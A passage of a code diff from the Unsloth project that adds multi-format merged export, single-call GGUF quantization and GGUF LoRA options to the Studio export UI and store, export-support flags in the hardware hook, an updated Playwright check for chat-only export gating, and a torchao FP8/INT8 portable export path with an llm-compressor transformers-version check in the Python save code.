+                    </div>
+                  ) : (
+                    <>
+                      <QuantPicker
+                        value={quantLevels}
+                        onChange={setQuantLevels}
+                        sizes={quantSizeLabels}
+                      />
+                      <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
+                        <div className="space-y-0.5">
+                          <div className="text-sm font-medium">
+                            Importance matrix (imatrix)
+                          </div>
+                          <div className="text-xs text-muted-foreground">
+                            {requiresImatrix
+                              ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
+                              : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                          </div>
+                        </div>
+                        <Switch
+                          checked={effectiveImatrix}
+                          onCheckedChange={setUseImatrix}
+                          disabled={requiresImatrix}
+                        />
+                      </div>
+                    </>
+                  )}
+                </div>
               )}
               {estimatedSize && (
                 <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts
index a87e7d93e9..6ee5c78994 100644
--- a/studio/frontend/src/features/export/stores/export-runtime-store.ts
+++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts
@@ -5,7 +5,6 @@ import { create } from "zustand";
 import {
   cancelExport,
   cleanupExport,
-  exportBase,
   exportGGUF,
   exportLoRA,
   exportMerged,
@@ -119,6 +118,8 @@ export interface ExportRunSummary {
   methodLabel: string;
   method: ExportMethod;
   quantLevels: string[];
+  /** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */
+  mergedFormats: string[];
   destination: ExportDestination;
 }
 
@@ -140,8 +141,16 @@ export interface RunExportParams {
   quantLevels: string[];
   /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */
   useImatrix?: boolean;
-  /** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */
-  mergedFormat?: string;
+  /** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit.
+   *  `label` is the display name for the success banner's per-format output line. */
+  mergedSelections?: {
+    formatType: string;
+    compressedMethod: string | null;
+    label: string;
+  }[];
+  /** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */
+  loraGguf?: boolean;
+  loraGgufOuttype?: string;
   saveDirectory: string;
   destination: ExportDestination;
   repoId?: string;
@@ -172,7 +181,13 @@ interface ExportRuntimeState {
    *  settling the run by polling /api/export/status instead. Logs keep streaming. */
   reconnecting: boolean;
   startedAt: number | null;
-  result: { outputPath: string | null; destination: ExportDestination } | null;
+  /** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder
+   *  so a multi-format merged run can list every sibling directory it created. */
+  result: {
+    outputPath: string | null;
+    outputPaths: { label: string; path: string }[];
+    destination: ExportDestination;
+  } | null;
   error: string | null;
   cancelRequested: boolean;
   hasHydrated: boolean;
@@ -317,6 +332,10 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
             phase: "success" as const,
             result: {
               outputPath: status.last_op_output_path ?? null,
+              // A run recovered from the backend only knows the last output path.
+              outputPaths: status.last_op_output_path
+                ? [{ label: "", path: status.last_op_output_path }]
+                : [],
               destination: state.result?.destination ?? "local",
             },
           };
@@ -351,7 +370,9 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
     const quantTotal =
       params.exportMethod === "gguf"
         ? Math.max(1, params.quantLevels.length)
-        : 1;
+        : params.exportMethod === "merged"
+          ? Math.max(1, params.mergedSelections?.length ?? 1)
+          : 1;
 
     set({
       runId,
@@ -431,67 +452,72 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
       }
       if (!isCurrent()) return;
 
-      // 2. Run the export. Capture the resolved output_path for the success
-      // banner; multi-quant GGUF shares one directory, so keep the last.
+      // 2. Run the export. Collect every resolved output_path so the success
+      // banner can list each sibling directory a multi-format run created.
       set({ phase: "exporting" });
-      let lastOutputPath: string | null = null;
+      const outputs: { label: string; path: string }[] = [];
 
       if (params.exportMethod === "merged") {
-        if (params.isAdapter) {
+        // Each selected format writes its own sibling directory (PEFT or non-PEFT base alike).
+        const selections =
+          params.mergedSelections && params.mergedSelections.length > 0
+            ? params.mergedSelections
+            : [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }];
+        for (let i = 0; i < selections.length; i += 1) {
+          if (!isCurrent()) return;
+          set({ quantIndex: i });
+          const sel = selections[i];
           const { outputPath } = await runRecoverableOp(() =>
             exportMerged({
               save_directory: params.saveDirectory,
-              format_type: params.mergedFormat,
+              format_type: sel.formatType,
+              compressed_method: sel.compressedMethod,
               push_to_hub: pushToHub,
               repo_id: params.repoId,
               hf_token: params.token,
               private: params.privateRepo,
             }),
           );
-          lastOutputPath = outputPath;
-        } else {
-          const { outputPath } = await runRecoverableOp(() =>
-            exportBase({
-              save_directory: params.saveDirectory,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-              private: params.privateRepo,
-              base_model_id: params.baseModelId,
-            }),
-          );
-          lastOutputPath = outputPath;
-        }
-      } else if (params.exportMethod === "gguf") {
-        for (let i = 0; i < params.quantLevels.length; i += 1) {
-          if (!isCurrent()) return;
-          set({ quantIndex: i });
-          const quant = params.quantLevels[i];
-          const { outputPath } = await runRecoverableOp(() =>
-            exportGGUF({
-              save_directory: params.saveDirectory,
-              quantization_method: quant,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-              imatrix: params.useImatrix,
-            }),
-          );
-          lastOutputPath = outputPath ?? lastOutputPath;
+          if (outputPath) outputs.push({ label: sel.label, path: outputPath });
           if (!isCurrent()) return;
           set({ quantIndex: i + 1 });
         }
+      } else if (params.exportMethod === "gguf") {
+        // Send the whole quant list in ONE call: the model is merged once and every GGUF comes
+        // from that single merge (unsloth save_to_gguf loops internally).
+        const { outputPath } = await runRecoverableOp(() =>
+          exportGGUF({
+            save_directory: params.saveDirectory,
+            quantization_method: params.quantLevels,
+            push_to_hub: pushToHub,
+            repo_id: params.repoId,
+            hf_token: params.token,
+            imatrix: params.useImatrix,
+          }),
+        );
+        if (outputPath) outputs.push({ label: "GGUF", path: outputPath });
+        if (!isCurrent()) return;
+        set({ quantIndex: get().quantTotal });
       } else if (params.exportMethod === "lora") {
         const { outputPath } = await runRecoverableOp(() =>
           exportLoRA({
             save_directory: params.saveDirectory,
             push_to_hub: pushToHub,
             repo_id: params.repoId,
-            hf_token: params.token,
+            // A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to
+            // the load token when there is no hub-upload token (both are the same HF token).
+            hf_token: params.token ?? params.loadToken ?? null,
             private: params.privateRepo,
+            gguf: params.loraGguf ?? false,
+            gguf_outtype: params.loraGgufOuttype ?? "q8_0",
           }),
         );
-        lastOutputPath = outputPath;
+        if (outputPath) {
+          outputs.push({
+            label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter",
+            path: outputPath,
+          });
+        }
       }
       if (!isCurrent()) return;
 
@@ -499,7 +525,11 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
         phase: "success",
         isExporting: false,
         reconnecting: false,
-        result: { outputPath: lastOutputPath, destination: params.destination },
+        result: {
+          outputPath: outputs[0]?.path ?? null,
+          outputPaths: outputs,
+          destination: params.destination,
+        },
       });
     } catch (err) {
       if (!isCurrent()) return;
diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts
index 36e3c532f3..4d63d4d6af 100644
--- a/studio/frontend/src/hooks/use-hardware-info.ts
+++ b/studio/frontend/src/hooks/use-hardware-info.ts
@@ -25,6 +25,13 @@ export interface HardwareInfo {
     transformers: string | null;
     unsloth: string | null;
     llamaCpp: string | null;
+    // Whether export can run here (true only on a supported accelerator), with a torch-aware
+    // reason. `null` until the authoritative response lands, so callers don't briefly enable
+    // export; `loaded` flips true once a real (non-error) response arrives.
+    exportSupported: boolean | null;
+    exportUnsupportedReason: string | null;
+    exportUnsupportedMessage: string | null;
+    loaded: boolean;
 }
 
 const DEFAULT: HardwareInfo = {
@@ -38,6 +45,10 @@ const DEFAULT: HardwareInfo = {
     transformers: null,
     unsloth: null,
     llamaCpp: null,
+    exportSupported: null,
+    exportUnsupportedReason: null,
+    exportUnsupportedMessage: null,
+    loaded: false,
 };
 
 // Module-level cache so multiple components share one fetch.
@@ -87,6 +98,10 @@ async function fetchOnce(): Promise<HardwareInfo> {
                 transformers: data?.versions?.transformers ?? null,
                 unsloth: data?.versions?.unsloth ?? null,
                 llamaCpp: data?.llama_cpp ?? null,
+                exportSupported: data?.export_supported ?? null,
+                exportUnsupportedReason: data?.export_unsupported_reason ?? null,
+                exportUnsupportedMessage: data?.export_unsupported_message ?? null,
+                loaded: true,
             };
             if (generation === cacheGeneration) {
                 cached = info;
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index 304de7a9af..209a8a06f1 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -256,7 +256,7 @@ with sync_playwright() as p:
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
 
-    # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat.
+    # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated.
     health_resp = evaluate_fetch(
         page,
         f"{BASE}/api/health",
@@ -404,15 +404,19 @@ with sync_playwright() as p:
     # ─────────────────────────────────────────────────────
     # 3. Export route.
     # ─────────────────────────────────────────────────────
-    step(f"Export route ({'chat-only redirect' if chat_only else 'form fields'})")
+    step(f"Export route ({'chat-only self-gated' if chat_only else 'form fields'})")
     page.goto(f"{BASE}/export")
     page.wait_for_timeout(1500)
     shoot("07-export")
     if chat_only:
-        if "/export" in page.url:
-            soft_fail(f"chat-only mode should redirect /export -> /chat; url={page.url}")
+        if "/export" not in page.url:
+            soft_fail(f"chat-only mode should keep /export reachable; url={page.url}")
         else:
-            info(f"OK chat-only redirected /export -> {page.url}")
+            unavailable = page.get_by_text(re.compile(r"Export unavailable", re.I)).first
+            if unavailable.count() == 0:
+                soft_fail("chat-only /export did not show the export unavailable gate")
+            else:
+                info("OK chat-only /export rendered the unavailable gate")
     else:
         # Non-chat-only: verify the export-cta button + HF token field.
         cta = page.locator('[data-tour="export-cta"]').first
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
index 66ebdd75da..f0a843c380 100644
--- a/unsloth/_compressed_quantize.py
+++ b/unsloth/_compressed_quantize.py
@@ -245,6 +245,10 @@ def main():
     # expert even if the sample set does not route tokens to all of them.
     is_moe = _is_moe(getattr(model, "config", None))
     ignore = ["lm_head"]
+    # Skip the same modules RedHatAI/NVIDIA skip for the Qwen3.5 / Qwen3-Next family (these also have
+    # shapes not divisible by the grouped-scheme group_size, which would otherwise error). No-ops
+    # elsewhere. Hybrid linear attention, VLM vision tower, and the MTP/speculative head.
+    ignore += ["re:.*\\.linear_attn\\..*", "re:.*\\.visual\\..*", "re:.*mtp.*"]
     if is_moe:
         # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate.
         ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"]
diff --git a/unsloth/save.py b/unsloth/save.py
index 226ca5fed8..50ae4119bd 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -205,6 +205,24 @@ COMPRESSED_EXPORT_SCHEMES = {
 }
 
 
+# torchao "portable" quant export: device-agnostic FP8 / INT8, no NVIDIA GPU needed.
+# alias -> (kind, sibling suffix). FP8 saves to safetensors, INT8 to .bin; both load in vLLM.
+TORCHAO_EXPORT_SCHEMES = {
+    "torchao_fp8": ("fp8", "torchao-fp8"),
+    "torchao_int8": ("int8", "torchao-int8"),
+    "portable_fp8": ("fp8", "torchao-fp8"),
+    "portable_int8": ("int8", "torchao-int8"),
+}
+
+
+def _normalize_torchao_method(save_method):
+    """Return (kind, suffix) if `save_method` is a torchao portable FP8/INT8 export, else None."""
+    if not isinstance(save_method, str):
+        return None
+    key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    return TORCHAO_EXPORT_SCHEMES.get(key)
+
+
 def _normalize_compressed_method(save_method):
     """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
     export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
@@ -215,6 +233,9 @@ def _normalize_compressed_method(save_method):
     if not isinstance(save_method, str):
         return None
     key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    # torchao aliases route to the torchao path, so skip them before the "fp8" near-miss check.
+    if key in TORCHAO_EXPORT_SCHEMES:
+        return None
     if key in COMPRESSED_EXPORT_SCHEMES:
         return COMPRESSED_EXPORT_SCHEMES[key]
     if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")):
@@ -1368,6 +1389,53 @@ def install_python_non_blocking(packages = []):
 # bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
 _LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
 
+# Highest transformers release llm-compressor 0.10.x/0.12.x can run against (its metadata pins
+# transformers<=4.57.6). Models that require a newer-transformers sidecar (e.g. Qwen3.5 needs
+# transformers 5.3.0) cannot be quantized by llm-compressor at all: it imports
+# transformers.modeling_utils.TORCH_INIT_FUNCTIONS, which was removed in transformers 5.x, so the
+# compressed-export subprocess dies with a cryptic ImportError AFTER the expensive 16bit merge.
+# Detect that up front and fail fast with an actionable message. Bump this in lockstep with a
+# llm-compressor release that supports newer transformers.
+_LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6"
+
+
+def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None):
+    """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling.
+
+    `exceeds` is True only when we can parse both versions and the active transformers is strictly
+    newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a
+    real quantization attempt still surfaces the underlying error rather than a false positive.
+    """
+    if transformers_version is None:
+        try:
+            import transformers as _tf
+            transformers_version = _tf.__version__
+        except Exception:
+            return False, "unknown"
+    try:
+        from packaging.version import parse as _parse
+
+        # Drop any local build suffix ("4.57.6+abc") so it does not skew the comparison.
+        active = _parse(str(transformers_version).split("+", 1)[0])
+        ceiling = _parse(_LLM_COMPRESSOR_MAX_TRANSFORMERS)
+        return active > ceiling, str(transformers_version)
+    except Exception:
+        return False, str(transformers_version)
+
+
+# A caller (e.g. Unsloth Studio) can enable FP8/FP4 export of newer-transformers models (Qwen3.5,
+# Gemma-4, ...) by provisioning a dedicated llm-compressor-main "shadow" (transformers>=5.9 layered
+# over the existing torch) and pointing us at its sys.path entry via this env var. When set, the
+# quantization subprocess uses it instead of the workspace llm-compressor and the ceiling fail-fast
+# is bypassed.
+_COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH"
+
+
+def _compressed_quantize_pythonpath():
+    """Return the llm-compressor-main shadow PYTHONPATH, or None if not set."""
+    pp = os.environ.get(_COMPRESSED_QUANTIZE_PYTHONPATH_ENV, "").strip()
+    return pp or None
+
 
 def install_llm_compressor():
     """Import llm-compressor, installing it on first use for FP8/FP4 export.
@@ -2023,10 +2091,40 @@ def unsloth_save_pretrained_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -2107,6 +2205,37 @@ def unsloth_push_to_hub_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
@@ -2114,6 +2243,7 @@ def unsloth_push_to_hub_merged(
     del arguments["self"]
     del arguments["repo_id"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -3812,10 +3942,40 @@ def unsloth_generic_save_pretrained_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -3896,6 +4056,37 @@ def unsloth_generic_push_to_hub_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
@@ -3903,6 +4094,7 @@ def unsloth_generic_push_to_hub_merged(
     del arguments["self"]
     del arguments["repo_id"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -4114,22 +4306,36 @@ def _unsloth_save_compressed_tensors(
     if not is_main_process:
         return None
 
-    # 1) Install llm-compressor and gate on scheme availability BEFORE merging, so an unsupported
-    #    scheme (e.g. mxfp8) fails fast instead of writing a full 16bit checkpoint first.
-    install_llm_compressor()
-    if not _scheme_is_available(scheme):
-        try:
-            import transformers as _tf
-            tf_ver = _tf.__version__
-        except Exception:
-            tf_ver = "unknown"
-        raise RuntimeError(
-            f"Unsloth: scheme '{scheme}' is not available in your installed "
-            f"compressed-tensors / llm-compressor.\n"
-            f"It requires a newer llm-compressor that needs transformers>=5.9 "
-            f"(you have transformers {tf_ver}).\n"
-            "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
-        )
+    # 1) Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of
+    #    writing a full 16bit checkpoint first. With the llm-compressor-main shadow the subprocess
+    #    validates everything itself, so skip the workspace install / ceiling / scheme checks; without
+    #    it, install the workspace llm-compressor and fail fast past its transformers ceiling.
+    _shadow_pythonpath = _compressed_quantize_pythonpath()
+    if _shadow_pythonpath is None:
+        install_llm_compressor()
+        # llm-compressor cannot run under a newer transformers than its ceiling: the quantization
+        # subprocess would die with a cryptic ImportError (TORCH_INIT_FUNCTIONS) only AFTER the costly
+        # 16bit merge. Detect and fail fast with an actionable message instead.
+        _exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling()
+        if _exceeds:
+            raise RuntimeError(
+                f"Unsloth: FP8/FP4 compressed-tensors export is not available for this model. It runs "
+                f"under transformers {_tf_ver}, but llm-compressor supports transformers "
+                f"<= {_LLM_COMPRESSOR_MAX_TRANSFORMERS}. Export to GGUF or 16-bit instead."
+            )
+        if not _scheme_is_available(scheme):
+            try:
+                import transformers as _tf
+                tf_ver = _tf.__version__
+            except Exception:
+                tf_ver = "unknown"
+            raise RuntimeError(
+                f"Unsloth: scheme '{scheme}' is not available in your installed "
+                f"compressed-tensors / llm-compressor.\n"
+                f"It requires a newer llm-compressor that needs transformers>=5.9 "
+                f"(you have transformers {tf_ver}).\n"
+                "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
+            )
 
     # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and
     #    quantize inside an isolated temp dir instead of writing ./<repo_id> into the cwd.
@@ -4307,8 +4513,15 @@ def _unsloth_save_compressed_tensors(
             env["HF_TOKEN"] = token
             env["HUGGING_FACE_HUB_TOKEN"] = token
 
+        # Clean PYTHONPATH = shadow only. torch still comes from the interpreter's site-packages;
+        # transformers 5.x + llm-compressor main come from the shadow. Dropping the inherited
+        # PYTHONPATH removes any parent transformers sidecar so the shadow's is authoritative.
+        if _shadow_pythonpath is not None:
+            env["PYTHONPATH"] = _shadow_pythonpath
+
         print(
             f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor "
+            f"{'(llm-compressor-main shadow) ' if _shadow_pythonpath is not None else ''}"
             "(in a separate process)..."
         )
         try:
@@ -4377,6 +4590,255 @@ def _unsloth_save_compressed_tensors(
                 torch.cuda.empty_cache()
 
 
+def _unsloth_save_torchao(
+    model,
+    save_directory: Union[str, os.PathLike],
+    tokenizer,
+    kind: str,
+    suffix: str,
+    push_to_hub: bool = False,
+    token: Optional[Union[str, bool]] = None,
+    is_main_process: bool = True,
+    **merge_kwargs,
+):
+    """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed).
+
+    Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via
+    `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA.
+    `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors).
+    """
+    import tempfile
+
+    if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
+        tokenizer = patch_saving_functions(tokenizer)
+    if token is None:
+        token = get_token()
+
+    # Only the main process merges, quantizes, and uploads; other ranks return at once.
+    if not is_main_process:
+        return None
+
+    from transformers import (
+        AutoModelForCausalLM,
+        AutoTokenizer,
+        AutoProcessor,
+        TorchAoConfig,
+    )
+    from torchao.quantization import Float8WeightOnlyConfig, Int8WeightOnlyConfig
+
+    if kind == "fp8":
+        quant_type = Float8WeightOnlyConfig()
+        safe_serialization = True
+    elif kind == "int8":
+        quant_type = Int8WeightOnlyConfig()
+        safe_serialization = False  # torchao only supports safetensors for float8 configs
+    else:
+        raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).")
+
+    # Always merge into an isolated temp staging dir (never save_directory itself), so a co-selected
+    # 16-bit export written to save_directory is not overwritten or deleted; the torchao output is
+    # the sibling "<save_directory>-<suffix>" (or the repo id on a hub push).
+    repo_id, work_tmp, model_dev = None, None, None
+    work_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-")
+    if push_to_hub:
+        repo_id = os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model")
+        out_dir = staging + "-" + suffix
+    else:
+        base = os.fspath(save_directory).rstrip("/\\") or os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(base) or "model")
+        out_dir = base + "-" + suffix
+
+    api = None
+    try:
+        if push_to_hub:
+            from huggingface_hub import HfApi
+            api = HfApi(token = token)
+            api.create_repo(
+                repo_id = repo_id,
+                repo_type = "model",
+                private = merge_kwargs.get("private", None),
+                exist_ok = True,
+            )
+
+        # 1) Merge to 16bit at a staging dir (LoRA and base alike). The reload reads default
+        #    weight filenames, so never write variant-named shards here.
+        merge_kwargs.pop("variant", None)
+        print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...")
+        merge_args = dict(merge_kwargs)
+        merge_args.update(
+            dict(
+                model = model,
+                tokenizer = tokenizer,
+                save_directory = staging,
+                save_method = "merged_16bit",
+                push_to_hub = False,
+                token = token,
+                is_main_process = is_main_process,
+            )
+        )
+        unsloth_generic_save(**merge_args)
+
+        # 2) Detect VLM + trust_remote_code so the right auto class reloads the staged checkpoint.
+        #    A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so key off
+        #    vision_config / a vision-named architecture only, like the compressed path.
+        is_vlm = False
+        trust_remote_code = False
+        if hasattr(model, "config"):
+            archs = getattr(model.config, "architectures", None) or []
+            is_vlm = hasattr(model.config, "vision_config") or any(
+                x.endswith("ForVisionText2Text") for x in archs
+            )
+            trust_remote_code = bool(getattr(model.config, "auto_map", None))
+        # Custom code can be declared only in the tokenizer/processor config, so also honor an
+        # auto_map in any staged config (the original load already had the user's consent).
+        if not trust_remote_code:
+            for _cfg in (
+                "config.json",
+                "tokenizer_config.json",
+                "processor_config.json",
+                "preprocessor_config.json",
+            ):
+                try:
+                    _p = os.path.join(staging, _cfg)
+                    if os.path.exists(_p):
+                        with open(_p, "r", encoding = "utf-8") as _f:
+                            if "auto_map" in json.load(_f):
+                                trust_remote_code = True
+                                break
+                except Exception:
+                    pass
+        # Reload with the class that matches the checkpoint: an image-text VLM class (with a
+        # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own
+        # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and
+        # AutoModelForCausalLM would fail to load them); otherwise causal-LM.
+        if is_vlm:
+            try:
+                from transformers import AutoModelForImageTextToText as _reload_model
+            except ImportError:
+                from transformers import AutoModelForVision2Seq as _reload_model
+            auto_model = _reload_model
+        elif getattr(getattr(model, "config", None), "is_encoder_decoder", False):
+            import transformers as _tf
+            auto_model = next(
+                (
+                    getattr(_tf, _arch)
+                    for _arch in (getattr(model.config, "architectures", None) or [])
+                    if getattr(_tf, _arch, None) is not None
+                ),
+                AutoModelForCausalLM,
+            )
+        else:
+            auto_model = AutoModelForCausalLM
+        auto_processor = AutoProcessor if is_vlm else AutoTokenizer
+
+        # 3) Free the in-memory model's accelerator memory before reloading a fresh copy from disk.
+        #    Covers CUDA and XPU (torchao runs on Intel GPUs too), so the original doesn't sit
+        #    resident alongside the reloaded copy and OOM a device that fit the model once.
+        _has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available()
+        try:
+            if (
+                (torch.cuda.is_available() or _has_xpu)
+                and hasattr(model, "parameters")
+                and not getattr(model, "is_loaded_in_4bit", False)
+                and not getattr(model, "is_loaded_in_8bit", False)
+                and not getattr(model, "is_quantized", False)
+            ):
+                _devs = {str(p.device) for p in model.parameters()}
+                if len(_devs) == 1 and next(iter(_devs)).startswith(("cuda", "xpu")):
+                    _dev = next(model.parameters()).device
+                    model.to("cpu")
+                    model_dev = _dev
+        except Exception:
+            model_dev = None
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+            if _has_xpu:
+                torch.xpu.empty_cache()
+
+        # 4) Reload the staged 16bit checkpoint with torchao applied. bfloat16 is required;
+        #    device_map="auto" falls back to CPU, so this works on any hardware.
+        print(f"Unsloth: Quantizing the merged model to torchao {kind}...")
+        dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16}
+        quantized_model = auto_model.from_pretrained(
+            staging,
+            device_map = "auto",
+            quantization_config = TorchAoConfig(quant_type = quant_type),
+            trust_remote_code = trust_remote_code,
+            **dtype_kw,
+        )
+        staged_tokenizer = auto_processor.from_pretrained(
+            staging, trust_remote_code = trust_remote_code
+        )
+
+        quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization)
+        staged_tokenizer.save_pretrained(out_dir)
+        del quantized_model
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+        # 5) Validate the artifact.
+        cfg_path = os.path.join(out_dir, "config.json")
+        cfg = {}
